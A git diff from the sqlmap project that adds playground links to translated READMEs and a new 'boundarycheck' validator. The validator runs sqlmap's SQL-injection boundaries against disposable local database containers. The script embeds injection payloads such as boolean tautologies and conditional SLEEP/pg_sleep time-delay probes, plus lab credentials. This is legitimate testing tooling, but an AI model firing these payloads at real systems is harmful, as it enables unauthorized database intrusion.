* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 플레이그라운드: https://sekumart.sekuripy.hr
|
||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Links
|
||||
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Speeltuin: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Odnośniki
|
||||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Piaskownica: https://sekumart.sekuripy.hr
|
||||
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Links
|
||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Linkovi
|
||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Poligon: https://sekumart.sekuripy.hr
|
||||
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
|
||||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Песочница: https://sekumart.sekuripy.hr
|
||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Linky
|
||||
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
* Cvičisko: https://sekumart.sekuripy.hr
|
||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -50,4 +50,5 @@ Bağlantılar
|
||||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Deneme alanı: https://sekumart.sekuripy.hr
|
||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
|
||||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Пісочниця: https://sekumart.sekuripy.hr
|
||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -49,4 +49,5 @@ Liên kết
|
||||
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Sân tập: https://sekumart.sekuripy.hr
|
||||
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
|
||||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 靶场: https://sekumart.sekuripy.hr
|
||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# boundarycheck
|
||||
|
||||
A live cross-DBMS validator for `data/xml/boundaries.xml`. For every reachable DBMS it builds the
|
||||
**real** injected value for each boundary (through sqlmap's own `agent.prefixQuery` / `suffixQuery` /
|
||||
`cleanupPayload`, not a re-implementation) across representative host-query contexts, runs it against
|
||||
the engine, and classifies each boundary via three oracles:
|
||||
|
||||
```
|
||||
W boolean TRUE/FALSE variants are valid AND their row counts differ
|
||||
T time an inline conditional sleep delays on TRUE, not on FALSE (MySQL / PostgreSQL)
|
||||
I inband an injected marker surfaces in the result set (table cross-join / UNION)
|
||||
. inert valid SQL but no channel discriminated in the contexts tried
|
||||
x invalid a syntax / semantic error on this engine
|
||||
```
|
||||
|
||||
It prints a `boundary x engine` matrix plus the boundaries usable via **no** oracle on any engine
|
||||
(the "no working context found" review candidates). Any engine that does not connect is **skipped**
|
||||
and reported as such — never silently counted as covered.
|
||||
|
||||
> Scope: covers boolean + inline-time (MySQL/PG) + inband over a sampled set of contexts. It does
|
||||
> **not** model an error-based oracle, inline time on MSSQL/Oracle (statement/privilege-gated sleep),
|
||||
> or every possible host context. So a boundary flagged "usable via no oracle" may still work via one
|
||||
> of those — confirm before acting.
|
||||
|
||||
---
|
||||
|
||||
## Quick start (throwaway MySQL + PostgreSQL)
|
||||
|
||||
```bash
|
||||
pip install pymysql psycopg2-binary # python drivers (see below for MSSQL/Oracle)
|
||||
./run.sh # spins up 2 containers, runs, tears everything down
|
||||
```
|
||||
|
||||
`run.sh` is fully disposable: it creates two containers, waits for readiness, runs the tool, and
|
||||
removes them again on exit (including Ctrl-C / failure). Nothing persists.
|
||||
|
||||
---
|
||||
|
||||
## Full lab (all four engines) — step by step
|
||||
|
||||
The tool's built-in default endpoints (override any via env var — see below):
|
||||
|
||||
| engine | host:port | user / pass | db / service |
|
||||
|------------|-------------------|----------------------|--------------|
|
||||
| MySQL | `127.0.0.1:13306` | `root` / `root` | — |
|
||||
| PostgreSQL | `127.0.0.1:15432` | `esp` / `pass` | `espdb` |
|
||||
| MSSQL | `127.0.0.1:11433` | `sa` / `Esp_pass123` | — |
|
||||
| Oracle | `127.0.0.1:1521` | `system` / `oracle` | `FREEPDB1` |
|
||||
|
||||
### 1. Python drivers
|
||||
|
||||
```bash
|
||||
pip install pymysql psycopg2-binary pymssql oracledb
|
||||
```
|
||||
|
||||
(Install only the ones you need — a missing driver just skips that engine.)
|
||||
|
||||
### 2. Start the containers
|
||||
|
||||
```bash
|
||||
# MySQL (fast)
|
||||
docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:3306 mysql:8.4
|
||||
|
||||
# PostgreSQL (fast)
|
||||
docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p 15432:5432 postgres:16
|
||||
|
||||
# MSSQL (slower; ~30-60s to accept connections)
|
||||
docker run -d --rm --name bcheck-mssql -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=Esp_pass123 -p 11433:1433 mcr.microsoft.com/mssql/server:2022-latest
|
||||
|
||||
# Oracle Free (slowest; first boot can take a few minutes and the image is large)
|
||||
docker run -d --rm --name bcheck-oracle -e ORACLE_PASSWORD=oracle -p 1521:1521 gvenzl/oracle-free:slim
|
||||
```
|
||||
|
||||
Give MSSQL/Oracle time to finish initialising before running the tool (watch `docker logs -f <name>`).
|
||||
|
||||
### 3. Run
|
||||
|
||||
```bash
|
||||
python3 boundarycheck.py # from anywhere; it locates the sqlmap root itself
|
||||
```
|
||||
|
||||
### 4. Override an endpoint (optional)
|
||||
|
||||
```
|
||||
BC_MYSQL=host:port:user:pass
|
||||
BC_POSTGRES=host:port:user:pass:db
|
||||
BC_MSSQL=host:port:user:pass
|
||||
BC_ORACLE=host:port:user:pass:service # service_name goes in the db slot
|
||||
```
|
||||
|
||||
```bash
|
||||
BC_MYSQL=10.0.0.5:3306:root:secret python3 boundarycheck.py
|
||||
```
|
||||
|
||||
### 5. Tear down
|
||||
|
||||
```bash
|
||||
docker rm -f bcheck-mysql bcheck-pg bcheck-mssql bcheck-oracle
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Notes
|
||||
|
||||
- **Faithfulness:** the tool imports the `plugins.dbms.*` packages so each DBMS's `unescaper` is
|
||||
registered. Without that, `SELECT '[RANDSTR]'` renders as a bare identifier instead of the real
|
||||
`0x`-hex / `CHR()` literal and concat-style boundaries are mis-reported. A `_faithful_or_die()`
|
||||
self-check aborts if the registration ever fails to load.
|
||||
- **Side-effect-free on the target data:** it creates a scratch table `bc` (and a `boundarycheck`
|
||||
database on MySQL), and drops them on completion. DML boundaries write only to a spare `note` column.
|
||||
- Engines are used purely as SQL oracles over localhost throwaway containers — do not point the
|
||||
override env vars at anything you care about.
|
||||
@@ -0,0 +1,389 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Live cross-DBMS validator for data/xml/boundaries.xml.
|
||||
|
||||
WHAT
|
||||
For every reachable DBMS this builds the REAL injected parameter value for each
|
||||
boundary - through the actual agent.prefixQuery / suffixQuery / cleanupPayload
|
||||
path, NOT a re-implementation - across a set of representative host-query
|
||||
contexts, runs the TRUE and FALSE variants against the live engine, and
|
||||
classifies the boundary via three oracles:
|
||||
|
||||
W (WORKS) boolean: TRUE/FALSE variants are valid AND their row counts differ
|
||||
T (TIME) inline conditional sleep delays on TRUE, not on FALSE (MySQL/PG only)
|
||||
I (INBAND) an injected marker surfaces in the result set (table cross-join / UNION)
|
||||
. (inert) valid SQL but no channel discriminates in the contexts tried
|
||||
x (invalid) a syntax/semantic error on this engine
|
||||
|
||||
Output is a boundary x engine matrix plus the boundaries usable via NO oracle on any
|
||||
reachable engine - the "no working context found" review candidates.
|
||||
|
||||
WHY
|
||||
boundaries.xml is the detection core. This answers "does boundary X actually
|
||||
produce valid, discriminating SQL on engine Y" with evidence instead of argument.
|
||||
|
||||
FAITHFULNESS (do not remove the plugins.dbms.* imports)
|
||||
The per-DBMS `unescaper` registrations load only when the plugin packages are
|
||||
imported. Without them "SELECT '[RANDSTR]'" renders as a bare identifier instead
|
||||
of the real 0x-hex / CHR() literal, and every concat-style boundary is falsely
|
||||
reported broken. The import plus _faithful_or_die() guard against that.
|
||||
|
||||
SCOPE / LIMITATION
|
||||
Covers the boolean, inline-time (MySQL/PG) and inband oracles over a representative
|
||||
set of host contexts. Still NOT modeled: the error-based oracle, inline time on
|
||||
MSSQL/Oracle (statement/privilege-gated sleep), and any host context not in the set.
|
||||
So a boundary flagged "usable via NO oracle" may still work via one of those - confirm
|
||||
before acting. "inert" means no channel discriminated in the contexts tried.
|
||||
|
||||
BENCH
|
||||
Needs live engines. Defaults target the local docker bench; any engine that does
|
||||
not connect (driver missing or refused) is SKIPPED and reported as skipped - never
|
||||
silently counted as covered. Override a target with an env var (host:port:user:pass[:db]):
|
||||
|
||||
MySQL BC_MYSQL default 127.0.0.1:13306:root:root
|
||||
PostgreSQL BC_POSTGRES default 127.0.0.1:15432:esp:pass:espdb
|
||||
MSSQL BC_MSSQL default 127.0.0.1:11433:sa:Esp_pass123
|
||||
Oracle BC_ORACLE default 127.0.0.1:1521:system:oracle:FREEPDB1 (service_name in db slot)
|
||||
|
||||
USAGE (from the sqlmap root)
|
||||
python extra/boundarycheck/boundarycheck.py
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
|
||||
sys.path.insert(0, _ROOT)
|
||||
sys.path.insert(0, os.path.join(_ROOT, "tests"))
|
||||
|
||||
from _testutils import bootstrap, set_dbms
|
||||
bootstrap()
|
||||
|
||||
# Faithfulness (see FAITHFULNESS above): importing each DBMS plugin package runs its module-level
|
||||
# `unescaper[<dbms>] = Syntax.escape` registration - a side effect, not a symbol we use. Trigger it via
|
||||
# import_module so there is no bound-but-unused name for pyflakes to flag.
|
||||
import importlib
|
||||
for _plugin in ("mysql", "postgresql", "oracle", "mssqlserver"):
|
||||
importlib.import_module("plugins.dbms.%s" % _plugin)
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.unescaper import unescaper
|
||||
import lib.core.agent as _agentmod
|
||||
|
||||
agent = _agentmod.agent
|
||||
conf.noEscape = False
|
||||
|
||||
TRUE_PAYLOAD = "AND 9911=9911"
|
||||
FALSE_PAYLOAD = "AND 9911=9912"
|
||||
TIME_THRESHOLD = 0.4 # seconds; a conditional sleep of ~0.7s must clear this, a no-op must not
|
||||
INBAND_MARKER = "qBCiNBANDq" # distinctive token; if it surfaces in the result set the
|
||||
INBAND_PAYLOAD = "(SELECT '%s')" % INBAND_MARKER # boundary opens an inband output channel (e.g. a table cross-join)
|
||||
|
||||
# per-engine conditional-sleep payload pair (delay-if-true, no-delay) for the TIME oracle. Only engines
|
||||
# with an INLINE sleep expression are covered; MSSQL (WAITFOR is a statement) and Oracle (DBMS_LOCK/PIPE,
|
||||
# privilege-gated) need a statement/stacked sleep, so their inline time-usability is NOT modeled here.
|
||||
SLEEP = {
|
||||
"MySQL": ("AND 0=(SELECT SLEEP(0.7))", "AND 0=(SELECT SLEEP(0))"), # subquery => fires once, not per-row
|
||||
"PostgreSQL": ("AND 1=(SELECT 1 FROM pg_sleep(0.7))", "AND 1=(SELECT 1 FROM pg_sleep(0))"),
|
||||
}
|
||||
|
||||
# portable WHERE-clause contexts at parenthesis depths 0-3 (numeric + single-quoted string), so the
|
||||
# ')' / '))' / ')))' and "'" / "')" / "'))" boundary families each meet a host that actually closes
|
||||
# the matching depth. Reused by every engine; engine-specific contexts are appended in the adapters.
|
||||
WHERE_CONTEXTS = [
|
||||
("SELECT COUNT(*) FROM bc WHERE name LIKE '%%%s%%'", "orig"), # LIKE '%...%'
|
||||
("SELECT COUNT(*) FROM bc %s", ""), # bare pre-WHERE (add a WHERE)
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE id=%s) q", "1"), # derived table (numeric)
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name='%s') q", "orig"), # derived table (single-quote)
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE id=%s) a) q", "1"), # derived table 2-deep
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name='%s') a) q", "orig"),
|
||||
("UPDATE bc SET note='%s' WHERE id=1", "orig"), # pre-WHERE DML (rowcount oracle)
|
||||
("SELECT * FROM %s", "bc"), # table-name (inband cross-join)
|
||||
]
|
||||
for _depth in range(4):
|
||||
_open, _close = "(" * _depth, ")" * _depth
|
||||
WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "id=%s" + _close, "1"))
|
||||
WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "name='%s'" + _close, "orig"))
|
||||
|
||||
|
||||
def _faithful_or_die():
|
||||
set_dbms("MySQL")
|
||||
if unescaper.escape("abc", quote=False) == "abc":
|
||||
sys.exit("FATAL: unescaper not registered - '[RANDSTR]' would render as a bare identifier and "
|
||||
"verdicts would be wrong. Check the plugins.dbms.* imports at the top of this file.")
|
||||
|
||||
|
||||
def build_value(dbms, prefix, suffix, clause, payload, orig):
|
||||
"""The real injected parameter value for where=ORIGINAL (checks.py:490-493 + agent.payload line 181/183)."""
|
||||
set_dbms(dbms)
|
||||
kb.injection = AttribDict()
|
||||
for _ in ("prefix", "suffix", "clause", "ptype", "place", "parameter"):
|
||||
kb.injection[_] = None
|
||||
kb.injection.data = AttribDict()
|
||||
kb.technique = None
|
||||
forged = agent.prefixQuery(agent.cleanupPayload(payload), prefix, PAYLOAD.WHERE.ORIGINAL, clause)
|
||||
forged = agent.suffixQuery(forged, None, suffix, PAYLOAD.WHERE.ORIGINAL)
|
||||
value = agent.cleanupPayload("%s%s" % (orig, forged), orig) or ""
|
||||
return value.replace(_agentmod.BOUNDARY_BACKSLASH_MARKER, "\\")
|
||||
|
||||
|
||||
def make_run(cur, rollback=None):
|
||||
"""A query runner: returns ("ok", rows) for a result set, ("ok", ("rc", n)) for a DML row count
|
||||
(cursor.description is None => no result set), or ("err", msg). DML lets pre-WHERE boundaries be
|
||||
judged by affected-row count (TRUE matches rows, FALSE matches none)."""
|
||||
def run(sql):
|
||||
try:
|
||||
cur.execute(sql)
|
||||
except Exception as e:
|
||||
if rollback:
|
||||
try:
|
||||
rollback()
|
||||
except Exception:
|
||||
pass
|
||||
return ("err", str(e).splitlines()[-1][:50])
|
||||
if cur.description is None:
|
||||
return ("ok", ("rc", cur.rowcount))
|
||||
return ("ok", tuple(cur.fetchall()))
|
||||
return run
|
||||
|
||||
|
||||
def classify(run, dbms, prefix, suffix, clause, contexts):
|
||||
"""Best verdict of a boundary across the engine's contexts: WORKS(boolean) > TIME > inert > invalid.
|
||||
|
||||
The TIME oracle only runs when the boolean probe was valid-but-inert (best=='inert') - i.e. the
|
||||
injected SQL parses and runs but the boolean AND does not change the row count. That is exactly the
|
||||
error/time-primitive candidate: a conditional sleep that delays on TRUE and not on FALSE proves the
|
||||
injected expression actually executes. If every boolean probe was a syntax error (best=='invalid'),
|
||||
the same syntax fails the time payload too, so it is skipped."""
|
||||
best = "invalid"
|
||||
for host, orig in contexts:
|
||||
st, rt = run(host % build_value(dbms, prefix, suffix, clause, TRUE_PAYLOAD, orig))
|
||||
sf, rf = run(host % build_value(dbms, prefix, suffix, clause, FALSE_PAYLOAD, orig))
|
||||
if st == "ok" and sf == "ok":
|
||||
if rt != rf:
|
||||
return "WORKS"
|
||||
best = "inert"
|
||||
|
||||
if best == "inert" and dbms in SLEEP:
|
||||
slow_p, fast_p = SLEEP[dbms]
|
||||
for host, orig in contexts:
|
||||
t0 = time.time()
|
||||
run(host % build_value(dbms, prefix, suffix, clause, slow_p, orig))
|
||||
if time.time() - t0 >= TIME_THRESHOLD: # TRUE variant delayed
|
||||
t0 = time.time()
|
||||
run(host % build_value(dbms, prefix, suffix, clause, fast_p, orig))
|
||||
if time.time() - t0 < TIME_THRESHOLD: # FALSE variant did not
|
||||
return "TIME"
|
||||
|
||||
# inband: the injected expression's output surfaces directly in the result set (a table-name
|
||||
# cross-join, UNION or select-list channel) - invisible to the boolean/time oracles above.
|
||||
for host, orig in contexts:
|
||||
st, r = run(host % build_value(dbms, prefix, suffix, clause, INBAND_PAYLOAD, orig))
|
||||
if st == "ok" and INBAND_MARKER in str(r):
|
||||
return "INBAND"
|
||||
return best
|
||||
|
||||
|
||||
def _env(name, default):
|
||||
parts = (os.environ.get(name) or default).split(":")
|
||||
parts += [None] * (5 - len(parts))
|
||||
host, port, user, pwd, db = parts[:5]
|
||||
return host, int(port), user, pwd, db
|
||||
|
||||
|
||||
# --- engine adapters: return (sqlmap_dbms, run_fn, contexts, cleanup_fn) or None to skip -------------
|
||||
|
||||
def _mysql():
|
||||
try:
|
||||
import pymysql
|
||||
h, p, u, w, _ = _env("BC_MYSQL", "127.0.0.1:13306:root:root")
|
||||
c = pymysql.connect(host=h, port=p, user=u, password=w, connect_timeout=5, autocommit=True)
|
||||
cur = c.cursor()
|
||||
cur.execute("CREATE DATABASE IF NOT EXISTS boundarycheck")
|
||||
cur.execute("USE boundarycheck")
|
||||
for q in ("DROP TABLE IF EXISTS bc",
|
||||
"CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64),FULLTEXT(name)) ENGINE=InnoDB",
|
||||
"INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"):
|
||||
cur.execute(q)
|
||||
c.commit()
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[0][:60]
|
||||
|
||||
run = make_run(cur, c.rollback)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
("SELECT `%s` FROM bc", "name"), # backtick column identifier
|
||||
('SELECT COUNT(*) FROM bc WHERE name="%s"', "orig"), # MySQL: " is a string delim
|
||||
('SELECT COUNT(*) FROM bc WHERE (name="%s")', "orig"),
|
||||
('SELECT COUNT(*) FROM bc WHERE ((name="%s"))', "orig"),
|
||||
('SELECT COUNT(*) FROM bc WHERE (((name="%s")))', "orig"),
|
||||
('UPDATE bc SET note="%s" WHERE id=1', "orig"), # double-quote pre-WHERE DML
|
||||
('SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name="%s") q', "orig"), # dq derived table
|
||||
('SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name="%s") a) q', "orig"),
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment
|
||||
("SELECT COUNT(*) FROM bc WHERE MATCH(name) AGAINST('%s')", "orig"), # fulltext (IN BOOLEAN MODE)
|
||||
("SELECT COUNT(*) FROM `%s`", "bc"), # backtick table
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM `%s`) q", "bc")] # backtick table in derived
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
cur.execute("DROP DATABASE boundarycheck"); c.commit(); c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("MySQL", run, contexts, cleanup), None
|
||||
|
||||
|
||||
def _postgres():
|
||||
try:
|
||||
import psycopg2
|
||||
h, p, u, w, db = _env("BC_POSTGRES", "127.0.0.1:15432:esp:pass:espdb")
|
||||
c = psycopg2.connect(host=h, port=p, user=u, password=w, dbname=db, connect_timeout=5)
|
||||
c.autocommit = True
|
||||
cur = c.cursor()
|
||||
cur.execute("DROP TABLE IF EXISTS bc")
|
||||
cur.execute("CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))")
|
||||
cur.execute("INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')")
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[0][:60]
|
||||
|
||||
run = make_run(cur, c.rollback)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
('SELECT id FROM bc ORDER BY "%s"', "name"), # ANSI double-quote identifier
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment
|
||||
("SELECT COUNT(*) FROM bc WHERE name=$$%s$$", "orig")] # dollar quoting
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
cur.execute("DROP TABLE bc"); c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("PostgreSQL", run, contexts, cleanup), None
|
||||
|
||||
|
||||
def _mssql():
|
||||
try:
|
||||
import pymssql
|
||||
h, p, u, w, _ = _env("BC_MSSQL", "127.0.0.1:11433:sa:Esp_pass123")
|
||||
c = pymssql.connect(server=h, port=p, user=u, password=w, database="master", autocommit=True, login_timeout=5)
|
||||
cur = c.cursor()
|
||||
for q in ("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc", "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))",
|
||||
"INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"):
|
||||
cur.execute(q)
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[-1][:60]
|
||||
|
||||
run = make_run(cur)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
("SELECT [%s] FROM bc", "name"), # bracket column identifier (string)
|
||||
("SELECT [%s] FROM bc", "id"), # bracket column identifier (numeric)
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x")] # block comment
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
cur.execute("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc"); c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("Microsoft SQL Server", run, contexts, cleanup), None
|
||||
|
||||
|
||||
def _oracle():
|
||||
try:
|
||||
try:
|
||||
import oracledb as ora
|
||||
except ImportError:
|
||||
import cx_Oracle as ora
|
||||
h, p, u, w, svc = _env("BC_ORACLE", "127.0.0.1:1521:system:oracle:FREEPDB1")
|
||||
c = ora.connect(user=u, password=w, dsn=ora.makedsn(h, p, service_name=svc))
|
||||
c.autocommit = True
|
||||
cur = c.cursor()
|
||||
for q in ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE bc'; EXCEPTION WHEN OTHERS THEN NULL; END;",
|
||||
"CREATE TABLE bc(id INT, name VARCHAR2(64), note VARCHAR2(64))",
|
||||
"INSERT INTO bc VALUES(1,'orig','n')", "INSERT INTO bc VALUES(2,'x','n')"):
|
||||
cur.execute(q)
|
||||
c.commit()
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[0][:60]
|
||||
|
||||
run = make_run(cur, c.rollback)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'[%s]'", "orig"), # alternative quoting q'[...]'
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'{%s}'", "orig"),
|
||||
("SELECT COUNT(*) FROM bc WHERE name=q'(%s)'", "orig"),
|
||||
